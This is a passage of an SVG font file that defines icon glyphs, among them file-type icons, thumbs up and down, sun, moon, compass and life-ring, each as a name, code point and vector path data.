d="M400 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12
v-52h48zM394 -16c3.2998 0 6 2.7002 6 6v298h-352v-298c0 -3.2998 2.7002 -6 6 -6h340z" />
    <glyph glyph-name="play-circle" unicode="&#xf144;" 
d="M371.7 210c16.3994 -9.2002 16.3994 -32.9004 0 -42l-176 -101c-15.9004 -8.7998 -35.7002 2.59961 -35.7002 21v208c0 18.5 19.9004 29.7998 35.7002 21zM504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM56 192
c0 -110.5 89.5 -200 200 -200s200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200z" />
    <glyph glyph-name="minus-square" unicode="&#xf146;" horiz-adv-x="448" 
d="M108 164c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h232c6.59961 0 12 -5.40039 12 -12v-32c0 -6.59961 -5.40039 -12 -12 -12h-232zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352
c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="check-square" unicode="&#xf14a;" horiz-adv-x="448" 
d="M400 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352zM400 16v352h-352v-352h352zM364.136 257.724l-172.589 -171.204
c-4.70508 -4.66699 -12.3027 -4.63672 -16.9697 0.0683594l-90.7812 91.5156c-4.66699 4.70508 -4.63672 12.3037 0.0693359 16.9717l22.7188 22.5361c4.70508 4.66699 12.3027 4.63672 16.9697 -0.0693359l59.792 -60.2773l141.353 140.217
c4.70508 4.66699 12.3027 4.63672 16.9697 -0.0683594l22.5361 -22.7178c4.66699 -4.70605 4.63672 -12.3047 -0.0683594 -16.9717z" />
    <glyph glyph-name="share-square" unicode="&#xf14d;" horiz-adv-x="576" 
d="M561.938 289.94c18.75 -18.7402 18.75 -49.1406 0 -67.8809l-143.998 -144c-29.9727 -29.9727 -81.9404 -9.05273 -81.9404 33.9404v53.7998c-101.266 -7.83691 -99.625 -31.6406 -84.1104 -78.7598c14.2285 -43.0889 -33.4736 -79.248 -71.0195 -55.7402
c-51.6924 32.3057 -84.8701 83.0635 -84.8701 144.76c0 39.3408 12.2197 72.7402 36.3301 99.3008c19.8398 21.8398 47.7402 38.4697 82.9102 49.4199c36.7295 11.4395 78.3096 16.1094 120.76 17.9893v57.1982c0 42.9355 51.9258 63.9541 81.9404 33.9404zM384 112l144 144
l-144 144v-104.09c-110.86 -0.90332 -240 -10.5166 -240 -119.851c0 -52.1396 32.79 -85.6094 62.3096 -104.06c-39.8174 120.65 48.999 141.918 177.69 143.84v-103.84zM408.74 27.5068c6.14844 1.75684 15.5449 5.92383 20.9736 9.30273
c7.97656 4.95215 18.2861 -0.825195 18.2861 -10.2139v-42.5957c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h132c6.62695 0 12 -5.37305 12 -12v-4.48633c0 -4.91699 -2.9873 -9.36914 -7.56934 -11.1514
c-13.7021 -5.33105 -26.3955 -11.5371 -38.0498 -18.585c-1.59668 -0.974609 -4.41016 -1.77051 -6.28027 -1.77734h-86.1006c-3.31152 0 -6 -2.68848 -6 -6v-340c0 -3.31152 2.68848 -6 6 -6h340c3.31152 0 6 2.68848 6 6v25.9658c0 5.37012 3.5791 10.0596 8.74023 11.541
z" />
    <glyph glyph-name="compass" unicode="&#xf14e;" horiz-adv-x="496" 
d="M347.94 318.14c16.6592 7.61035 33.8096 -9.54004 26.1992 -26.1992l-65.9697 -144.341c-2.73047 -5.97363 -9.7959 -13.0391 -15.7695 -15.7695l-144.341 -65.9697c-16.6592 -7.61035 -33.8096 9.5498 -26.1992 26.1992l65.9697 144.341
c2.73047 5.97363 9.7959 13.0391 15.7695 15.7695zM270.58 169.42c12.4697 12.4697 12.4697 32.6904 0 45.1602s-32.6904 12.4697 -45.1602 0s-12.4697 -32.6904 0 -45.1602s32.6904 -12.4697 45.1602 0zM248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248
s-248 111.03 -248 248s111.03 248 248 248zM248 -8c110.28 0 200 89.7197 200 200s-89.7197 200 -200 200s-200 -89.7197 -200 -200s89.7197 -200 200 -200z" />
    <glyph glyph-name="caret-square-down" unicode="&#xf150;" horiz-adv-x="448" 
d="M125.1 240h197.801c10.6992 0 16.0996 -13 8.5 -20.5l-98.9004 -98.2998c-4.7002 -4.7002 -12.2002 -4.7002 -16.9004 0l-98.8994 98.2998c-7.7002 7.5 -2.2998 20.5 8.39941 20.5zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352
c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="caret-square-up" unicode="&#xf151;" horiz-adv-x="448" 
d="M322.9 144h-197.801c-10.6992 0 -16.0996 13 -8.5 20.5l98.9004 98.2998c4.7002 4.7002 12.2002 4.7002 16.9004 0l98.8994 -98.2998c7.7002 -7.5 2.2998 -20.5 -8.39941 -20.5zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352
c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="caret-square-right" unicode="&#xf152;" horiz-adv-x="448" 
d="M176 93.0996v197.801c0 10.6992 13 16.0996 20.5 8.5l98.2998 -98.9004c4.7002 -4.7002 4.7002 -12.2002 0 -16.9004l-98.2998 -98.8994c-7.5 -7.7002 -20.5 -2.2998 -20.5 8.39941zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352
c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="file" unicode="&#xf15b;" horiz-adv-x="384" 
d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288
h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416z" />
    <glyph glyph-name="file-alt" unicode="&#xf15c;" horiz-adv-x="384" 
d="M288 200v-28c0 -6.59961 -5.40039 -12 -12 -12h-168c-6.59961 0 -12 5.40039 -12 12v28c0 6.59961 5.40039 12 12 12h168c6.59961 0 12 -5.40039 12 -12zM276 128c6.59961 0 12 -5.40039 12 -12v-28c0 -6.59961 -5.40039 -12 -12 -12h-168c-6.59961 0 -12 5.40039 -12 12
v28c0 6.59961 5.40039 12 12 12h168zM384 316.1v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996l83.9004 -83.9004c9 -8.90039 14.0996 -21.2002 14.0996 -33.9004z
M256 396.1v-76.0996h76.0996zM336 -16v288h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416h288z" />
    <glyph glyph-name="thumbs-up" unicode="&#xf164;" 
d="M466.27 161.31c4.6748 -22.6465 0.864258 -44.5371 -8.98926 -62.9893c2.95898 -23.8682 -4.02148 -48.5654 -17.3398 -66.9902c-0.954102 -55.9072 -35.8232 -95.3301 -112.94 -95.3301c-7 0 -15 0.00976562 -22.2197 0.00976562
c-102.742 0 -133.293 38.9395 -177.803 39.9404c-3.56934 -13.7764 -16.085 -23.9502 -30.9775 -23.9502h-64c-17.6729 0 -32 14.3271 -32 32v240c0 17.6729 14.3271 32 32 32h98.7598c19.1455 16.9531 46.0137 60.6533 68.7598 83.4004
c13.667 13.667 10.1533 108.6 71.7607 108.6c57.5801 0 95.2695 -31.9355 95.2695 -104.73c0 -18.4092 -3.92969 -33.7295 -8.84961 -46.5391h36.4795c48.6025 0 85.8203 -41.5654 85.8203 -85.5801c0 -19.1504 -4.95996 -34.9902 -13.7305 -49.8408zM404.52 107.48
c21.5811 20.3838 18.6992 51.0645 5.21094 65.6191c9.44922 0 22.3594 18.9102 22.2695 37.8105c-0.0898438 18.9102 -16.71 37.8203 -37.8203 37.8203h-103.989c0 37.8193 28.3594 55.3691 28.3594 94.5391c0 23.75 0 56.7305 -47.2695 56.7305
c-18.9102 -18.9102 -9.45996 -66.1797 -37.8203 -94.54c-26.5596 -26.5703 -66.1797 -97.46 -94.54 -97.46h-10.9199v-186.17c53.6113 0 100.001 -37.8203 171.64 -37.8203h37.8203c35.5117 0 60.8203 17.1201 53.1201 65.9004
c15.2002 8.16016 26.5 36.4395 13.9395 57.5703zM88 16c0 13.2549 -10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24z" />
    <glyph glyph-name="thumbs-down" unicode="&#xf165;" 
d="M466.27 222.69c8.77051 -14.8506 13.7305 -30.6904 13.7305 -49.8408c0 -44.0146 -37.2178 -85.5801 -85.8203 -85.5801h-36.4795c4.91992 -12.8096 8.84961 -28.1299 8.84961 -46.5391c0 -72.7949 -37.6895 -104.73 -95.2695 -104.73
c-61.6074 0 -58.0938 94.9326 -71.7607 108.6c-22.7461 22.7471 -49.6133 66.4473 -68.7598 83.4004h-7.05176c-5.5332 -9.56152 -15.8662 -16 -27.708 -16h-64c-17.6729 0 -32 14.3271 -32 32v240c0 17.6729 14.3271 32 32 32h64c8.11328 0 15.5146 -3.02539 21.1553 -8
h10.8447c40.9971 0 73.1953 39.9902 176.78 39.9902c7.21973 0 15.2197 0.00976562 22.2197 0.00976562c77.1172 0 111.986 -39.4229 112.94 -95.3301c13.3184 -18.4248 20.2979 -43.1221 17.3398 -66.9902c9.85352 -18.4521 13.6641 -40.3428 8.98926 -62.9893zM64 152
c13.2549 0 24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24zM394.18 135.27c21.1104 0 37.7305 18.9102 37.8203 37.8203c0.0898438 18.9004 -12.8203 37.8105 -22.2695 37.8105c13.4883 14.5547 16.3701 45.2354 -5.21094 65.6191
c12.5605 21.1309 1.26074 49.4102 -13.9395 57.5703c7.7002 48.7803 -17.6084 65.9004 -53.1201 65.9004h-37.8203c-71.6387 0 -118.028 -37.8203 -171.64 -37.8203v-186.17h10.9199c28.3604 0 67.9805 -70.8896 94.54 -97.46
c28.3604 -28.3604 18.9102 -75.6299 37.8203 -94.54c47.2695 0 47.2695 32.9805 47.2695 56.7305c0 39.1699 -28.3594 56.7197 -28.3594 94.5391h103.989z" />
    <glyph glyph-name="sun" unicode="&#xf185;" 
d="M494.2 226.1c11.2002 -7.59961 17.7998 -20.0996 17.8994 -33.6992c0 -13.4004 -6.69922 -26 -17.7998 -33.5l-59.7998 -40.5l13.7002 -71c2.5 -13.2002 -1.60059 -26.8008 -11.1006 -36.3008s-22.8994 -13.7998 -36.2998 -11.0996l-70.8994 13.7002l-40.4004 -59.9004
c-7.5 -11.0996 -20.0996 -17.7998 -33.5 -17.7998s-26 6.7002 -33.5 17.9004l-40.4004 59.8994l-70.7998 -13.7002c-13.3994 -2.59961 -26.7998 1.60059 -36.2998 11.1006s-13.7002 23.0996 -11.0996 36.2998l13.6992 71l-59.7998 40.5
c-11.0996 7.5 -17.7998 20 -17.7998 33.5s6.59961 26 17.7998 33.5996l59.7998 40.5l-13.6992 71c-2.60059 13.2002 1.59961 26.7002 11.0996 36.3008c9.5 9.59961 23 13.6992 36.2998 11.1992l70.7998 -13.6992l40.4004 59.8994c15.0996 22.2998 51.9004 22.2998 67 0
l40.4004 -59.8994l70.8994 13.6992c13 2.60059 26.6006 -1.59961 36.2002 -11.0996c9.5 -9.59961 13.7002 -23.2002 11.0996 -36.4004l-13.6992 -71zM381.3 140.5l76.7998 52.0996l-76.7998 52l17.6006 91.1006l-91 -17.6006l-51.9004 76.9004l-51.7998 -76.7998
l-91 17.5996l17.5996 -91.2002l-76.7998 -52l76.7998 -52l-17.5996 -91.1992l90.8994 17.5996l51.9004 -77l51.9004 76.9004l91 -17.6006zM256 296c57.2998 0 104 -46.7002 104 -104s-46.7002 -104 -104 -104s-104 46.7002 -104 104s46.7002 104 104 104zM256 136
c30.9004 0 56 25.0996 56 56s-25.0996 56 -56 56s-56 -25.0996 -56 -56s25.0996 -56 56 -56z" />
    <glyph glyph-name="moon" unicode="&#xf186;" 
d="M279.135 -64c-141.424 0 -256 114.64 -256 256c0 141.425 114.641 256 256 256c13.0068 -0.00195312 33.9443 -1.91797 46.7354 -4.27734c44.0205 -8.13086 53.7666 -66.8691 15.0215 -88.9189c-41.374 -23.5439 -67.4336 -67.4121 -67.4336 -115.836
c0 -83.5234 75.9238 -146.475 158.272 -130.792c43.6904 8.32129 74.5186 -42.5693 46.248 -77.4004c-47.8613 -58.9717 -120.088 -94.7754 -198.844 -94.7754zM279.135 400c-114.875 0 -208 -93.125 -208 -208s93.125 -208 208 -208
c65.2314 0 123.439 30.0361 161.575 77.0244c-111.611 -21.2568 -215.252 64.0957 -215.252 177.943c0 67.5127 36.9326 126.392 91.6934 157.555c-12.3271 2.27637 -25.0312 3.47754 -38.0166 3.47754z" />
    <glyph glyph-name="caret-square-left" unicode="&#xf191;" horiz-adv-x="448" 
d="M272 290.9v-197.801c0 -10.6992 -13 -16.0996 -20.5 -8.5l-98.2998 98.9004c-4.7002 4.7002 -4.7002 12.2002 0 16.9004l98.2998 98.8994c7.5 7.7002 20.5 2.2998 20.5 -8.39941zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352
c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="dot-circle" unicode="&#xf192;" 
d="M256 392c-110.549 0 -200 -89.4678 -200 -200c0 -110.549 89.4678 -200 200 -200c110.549 0 200 89.4678 200 200c0 110.549 -89.4678 200 -200 200zM256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248z
M256 272c44.1826 0 80 -35.8174 80 -80s-35.8174 -80 -80 -80s-80 35.8174 -80 80s35.8174 80 80 80z" />
    <glyph glyph-name="building" unicode="&#xf1ad;" horiz-adv-x="448" 
d="M128 300v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12zM268 288c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40
c0 -6.59961 -5.40039 -12 -12 -12h-40zM140 192c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-40zM268 192c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40
c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-40zM192 108c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40zM268 96c-6.59961 0 -12 5.40039 -12 12v40
c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-40zM448 -28v-36h-448v36c0 6.59961 5.40039 12 12 12h19.5v440c0 13.2998 10.7002 24 24 24h337c13.2998 0 24 -10.7002 24 -24v-440h19.5
c6.59961 0 12 -5.40039 12 -12zM79.5 -15h112.5v67c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-67h112.5v414l-288.5 1z" />
    <glyph glyph-name="file-pdf" unicode="&#xf1c1;" horiz-adv-x="384" 
d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288
h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416zM298.2 127.7c10.5 -10.5 8 -38.7002 -17.5 -38.7002c-14.7998 0 -36.9004 6.7998 -55.7998 17c-21.6006 -3.59961 -46 -12.7002 -68.4004 -20.0996c-50.0996 -86.4004 -79.4004 -47 -76.0996 -31.2002
c4 20 31 35.8994 51 46.2002c10.5 18.3994 25.3994 50.5 35.3994 74.3994c-7.39941 28.6006 -11.3994 51 -7 67.1006c4.7998 17.6992 38.4004 20.2998 42.6006 -5.90039c4.69922 -15.4004 -1.5 -39.9004 -5.40039 -56c8.09961 -21.2998 19.5996 -35.7998 36.7998 -46.2998
c17.4004 2.2002 52.2002 5.5 64.4004 -6.5zM100.1 49.9004c0 -0.700195 11.4004 4.69922 30.4004 35c-5.90039 -5.5 -25.2998 -21.3008 -30.4004 -35zM181.7 240.5c-2.5 0 -2.60059 -26.9004 1.7998 -40.7998c4.90039 8.7002 5.59961 40.7998 -1.7998 40.7998zM157.3 103.9
c15.9004 6.09961 34 14.8994 54.7998 19.1992c-11.1992 8.30078 -21.7998 20.4004 -30.0996 35.5c-6.7002 -17.6992 -15 -37.7998 -24.7002 -54.6992zM288.9 108.9c3.59961 2.39941 -2.2002 10.3994 -37.3008 7.7998c32.3008 -13.7998 37.3008 -7.7998 37.3008 -7.7998z" />
    <glyph glyph-name="file-word" unicode="&#xf1c2;" horiz-adv-x="384" 
d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288
h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416zM268.1 192v0.200195h15.8008c7.7998 0 13.5 -7.2998 11.5996 -14.9004c-4.2998 -17 -13.7002 -54.0996 -34.5 -136c-1.2998 -5.39941 -6.09961 -9.09961 -11.5996 -9.09961h-24.7002
c-5.5 0 -10.2998 3.7998 -11.6006 9.09961c-5.2998 20.9004 -17.7998 71 -17.8994 71.4004l-2.90039 17.2998c-0.5 -5.2998 -1.5 -11.0996 -3 -17.2998l-17.8994 -71.4004c-1.30078 -5.39941 -6.10059 -9.09961 -11.6006 -9.09961h-25.2002
c-5.59961 0 -10.3994 3.7002 -11.6992 9.09961c-6.5 26.5 -25.2002 103.4 -33.2002 136c-1.7998 7.5 3.89941 14.7998 11.7002 14.7998h16.7998c5.7998 0 10.7002 -4.09961 11.7998 -9.69922c5 -25.7002 18.4004 -93.8008 19.0996 -99
c0.300781 -1.7002 0.400391 -3.10059 0.5 -4.2002c0.800781 7.5 0.400391 4.7002 24.8008 103.7c1.39941 5.2998 6.19922 9.09961 11.6992 9.09961h13.3008c5.59961 0 10.3994 -3.7998 11.6992 -9.2002c23.9004 -99.7002 22.8008 -94.3994 23.6006 -99.5
c0.299805 -1.7002 0.5 -3.09961 0.700195 -4.2998c0.599609 8.09961 0.399414 5.7998 21 103.5c1.09961 5.5 6 9.5 11.6992 9.5z" />
    <glyph glyph-name="file-excel" unicode="&#xf1c3;" horiz-adv-x="384" 
d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288
h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416zM260 224c9.2002 0 15 -10 10.2998 -18c-16 -27.5 -45.5996 -76.9004 -46.2998 -78l46.4004 -78c4.59961 -8 -1.10059 -18 -10.4004 -18h-28.7998c-4.40039 0 -8.5 2.40039 -10.6006 6.2998
c-22.6992 41.7998 -13.6992 27.5 -28.5996 57.7002c-5.59961 -12.7002 -6.90039 -17.7002 -28.5996 -57.7002c-2.10059 -3.89941 -6.10059 -6.2998 -10.5 -6.2998h-28.9004c-9.2998 0 -15.0996 10 -10.4004 18l46.3008 78l-46.3008 78c-4.59961 8 1.10059 18 10.4004 18
h28.9004c4.39941 0 8.5 -2.40039 10.5996 -6.2998c21.7002 -40.4004 14.7002 -28.6006 28.5996 -57.7002c6.40039 15.2998 10.6006 24.5996 28.6006 57.7002c2.09961 3.89941 6.09961 6.2998 10.5 6.2998h28.7998z" />
    <glyph glyph-name="file-powerpoint" unicode="&#xf1c4;" horiz-adv-x="384" 
d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288
h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416zM120 44v168c0 6.59961 5.40039 12 12 12h69.2002c36.7002 0 62.7998 -27 62.7998 -66.2998c0 -74.2998 -68.7002 -66.5 -95.5 -66.5v-47.2002c0 -6.59961 -5.40039 -12 -12 -12h-24.5c-6.59961 0 -12 5.40039 -12 12z
M168.5 131.4h23c7.90039 0 13.9004 2.39941 18.0996 7.19922c8.5 9.80078 8.40039 28.5 0.100586 37.8008c-4.10059 4.59961 -9.90039 7 -17.4004 7h-23.8994v-52h0.0996094z" />
    <glyph glyph-name="file-image" unicode="&#xf1c5;" horiz-adv-x="384" 
d="M369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM332.1 320l-76.0996 76.0996v-76.0996h76.0996zM48 -16h288v288
h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416zM80 32v64l39.5 39.5c4.7002 4.7002 12.2998 4.7002 17 0l39.5 -39.5l87.5 87.5c4.7002 4.7002 12.2998 4.7002 17 0l23.5 -23.5v-128h-224zM128 272c26.5 0 48 -21.5 48 -48s-21.5 -48 -48 -48s-48 21.5 -48 48
s21.5 48 48 48z" />
    <glyph glyph-name="file-archive" unicode="&#xf1c6;" horiz-adv-x="384" 
d="M128.3 288h32v-32h-32v32zM192.3 384v-32h-32v32h32zM128.3 352h32v-32h-32v32zM192.3 320v-32h-32v32h32zM369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1
c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM256 396.1v-76.0996h76.0996zM336 -16v288h-104c-13.2998 0 -24 10.7002 -24 24v104h-48.2998v-16h-32v16h-79.7002v-416h288zM194.2 182.3l17.2998 -87.7002c6.40039 -32.3994 -18.4004 -62.5996 -51.5 -62.5996
c-33.2002 0 -58 30.4004 -51.4004 62.9004l19.7002 97.0996v32h32v-32h22.1006c5.7998 0 10.6992 -4.09961 11.7998 -9.7002zM160.3 57.9004c17.9004 0 32.4004 12.0996 32.4004 27c0 14.8994 -14.5 27 -32.4004 27c-17.8994 0 -32.3994 -12.1006 -32.3994 -27
c0 -14.9004 14.5 -27 32.3994 -27zM192.3 256v-32h-32v32h32z" />
    <glyph glyph-name="file-audio" unicode="&#xf1c7;" horiz-adv-x="384" 
d="M369.941 350.059c7.75977 -7.75977 14.0586 -22.9658 14.0586 -33.9404v-332.118c0 -26.5098 -21.4902 -48 -48 -48h-288c-26.5098 0 -48 21.4902 -48 48v416c0 26.5098 21.4902 48 48 48h204.118c10.9746 0 26.1807 -6.29883 33.9404 -14.0586zM332.118 320
l-76.1182 76.1182v-76.1182h76.1182zM48 -16h288v288h-104c-13.2549 0 -24 10.7451 -24 24v104h-160v-416zM192 60.0244c0 -10.6914 -12.9258 -16.0459 -20.4854 -8.48535l-35.5146 35.9746h-28c-6.62695 0 -12 5.37305 -12 12v56c0 6.62695 5.37305 12 12 12h28
l35.5146 36.9473c7.56055 7.56055 20.4854 2.20605 20.4854 -8.48535v-135.951zM233.201 107.154c9.05078 9.29688 9.05957 24.1328 0.000976562 33.4385c-22.1494 22.752 12.2344 56.2461 34.3945 33.4814c27.1982 -27.9404 27.2119 -72.4443 0.000976562 -100.401
c-21.793 -22.3857 -56.9463 10.3154 -34.3965 33.4814z" />
    <glyph glyph-name="file-video" unicode="&#xf1c8;" horiz-adv-x="384" 
d="M369.941 350.059c7.75977 -7.75977 14.0586 -22.9658 14.0586 -33.9404v-332.118c0 -26.5098 -21.4902 -48 -48 -48h-288c-26.5098 0 -48 21.4902 -48 48v416c0 26.5098 21.4902 48 48 48h204.118c10.9746 0 26.1807 -6.29883 33.9404 -14.0586zM332.118 320
l-76.1182 76.1182v-76.1182h76.1182zM48 -16h288v288h-104c-13.2549 0 -24 10.7451 -24 24v104h-160v-416zM276.687 195.303c10.0049 10.0049 27.3135 2.99707 27.3135 -11.3135v-111.976c0 -14.2939 -17.2959 -21.332 -27.3135 -11.3135l-52.6865 52.6738v-37.374
c0 -11.0459 -8.9541 -20 -20 -20h-104c-11.0459 0 -20 8.9541 -20 20v104c0 11.0459 8.9541 20 20 20h104c11.0459 0 20 -8.9541 20 -20v-37.374z" />
    <glyph glyph-name="file-code" unicode="&#xf1c9;" horiz-adv-x="384" 
d="M149.9 98.9004c3.5 -3.30078 3.69922 -8.90039 0.399414 -12.4004l-17.3994 -18.5996c-1.60059 -1.80078 -4 -2.80078 -6.40039 -2.80078c-2.2002 0 -4.40039 0.900391 -6 2.40039l-57.7002 54.0996c-3.7002 3.40039 -3.7002 9.30078 0 12.8008l57.7002 54.0996
c3.40039 3.2998 9 3.2002 12.4004 -0.400391l17.3994 -18.5996l0.200195 -0.200195c3.2002 -3.59961 2.7998 -9.2002 -0.799805 -12.3994l-32.7998 -28.9004l32.7998 -28.9004zM369.9 350.1c9 -9 14.0996 -21.2998 14.0996 -34v-332.1c0 -26.5 -21.5 -48 -48 -48h-288
c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48.0996h204.1c12.7002 0 24.9004 -5.09961 33.9004 -14.0996zM256 396.1v-76.0996h76.0996zM336 -16v288h-104c-13.2998 0 -24 10.7002 -24 24v104h-160v-416h288zM209.6 234l24.4004 -7
c4.7002 -1.2998 7.40039 -6.2002 6 -10.9004l-54.7002 -188.199c-1.2998 -4.60059 -6.2002 -7.40039 -10.8994 -6l-24.4004 7.09961c-4.7002 1.2998 -7.40039 6.2002 -6 10.9004l54.7002 188.1c1.39941 4.7002 6.2002 7.40039 10.8994 6zM234.1 157.1
c-3.5 3.30078 -3.69922 8.90039 -0.399414 12.4004l17.3994 18.5996c3.30078 3.60059 8.90039 3.7002 12.4004 0.400391l57.7002 -54.0996c3.7002 -3.40039 3.7002 -9.30078 0 -12.8008l-57.7002 -54.0996c-3.5 -3.2998 -9.09961 -3.09961 -12.4004 0.400391
l-17.3994 18.5996l-0.200195 0.200195c-3.2002 3.59961 -2.7998 9.2002 0.799805 12.3994l32.7998 28.9004l-32.7998 28.9004z" />
    <glyph glyph-name="life-ring" unicode="&#xf1cd;" 
d="M256 -56c-136.967 0 -248 111.033 -248 248s111.033 248 248 248s248 -111.033 248 -248s-111.033 -248 -248 -248zM152.602 20.7197c63.2178 -38.3184 143.579 -38.3184 206.797 0l-53.4111 53.4111c-31.8467 -13.5215 -68.168 -13.5059 -99.9746 0zM336 192
c0 44.1123 -35.8877 80 -80 80s-80 -35.8877 -80 -80s35.8877 -80 80 -80s80 35.8877 80 80zM427.28 88.6016c38.3184 63.2178 38.3184 143.579 0 206.797l-53.4111 -53.4111c13.5215 -31.8467 13.5049 -68.168 0 -99.9746zM359.397 363.28
